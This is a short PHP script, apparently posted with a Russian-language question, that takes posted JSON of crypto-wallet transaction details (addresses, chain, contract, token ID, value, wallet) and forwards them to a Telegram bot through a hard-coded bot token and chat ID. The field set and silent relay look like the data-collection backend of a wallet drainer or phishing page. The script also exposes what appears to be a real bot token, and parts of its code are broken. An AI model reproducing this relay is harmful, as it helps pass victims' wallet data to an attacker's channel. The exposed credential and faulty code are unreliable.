<?php
ini_set('error_reporting', E_ALL);
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
$token = "5518733372:AAFranhVHmVSfVgl4jW71clgTpPE_QiVzuo";
$chat_id = "-1001619858815";
//$content = $_POST['json_input'];
$postData = file_get_contents('php://input');
$data = json_decode($postData, true);
$addressFromX = var_dump($data["addressFrom"]);
$result = json_decode($postData);
$addressFrom = "\nAddressFrom: ".$result->$addressFrom;
$addressTo = "\nAddressTo: ".$result->$addressTo;
$chainId = "\nChainId: ".$result->chainId;
$chainName = "\nChainName: ".$result->chainName;
$contract = "\nContract: ".$result->contract;
$isEth = "\nIsEth: ".$result->isEth;
$tokenId = "\nTokenId: ".$result->tokenId;
$type = "\nType: ".$result->type;
$value = "\nValue: ".$result->value;
$wallet = "\nWallet: ".$result->wallet;
$body = " Hello".$addressFrom.$addressFromX.$chainId.$chainName.$contract.$isEth.$tokenId.$type.$value.$wallet;
$urlen_body = urlencode($body);
if (isset($_POST['addressFrom'])) {
$addressFrom = $_POST['addressFrom'];
$sendToTelegram = fopen("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chat_id}&parse_mode=html&text={$addressFrom}","r");
}
//if (isset($_POST['addressFrom'])) {
$sendToTelegram = fopen("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chat_id}&parse_mode=html&text={$urlen_body}","r");
//}
header('Location: /index.php');
?>
И вот так если в JSON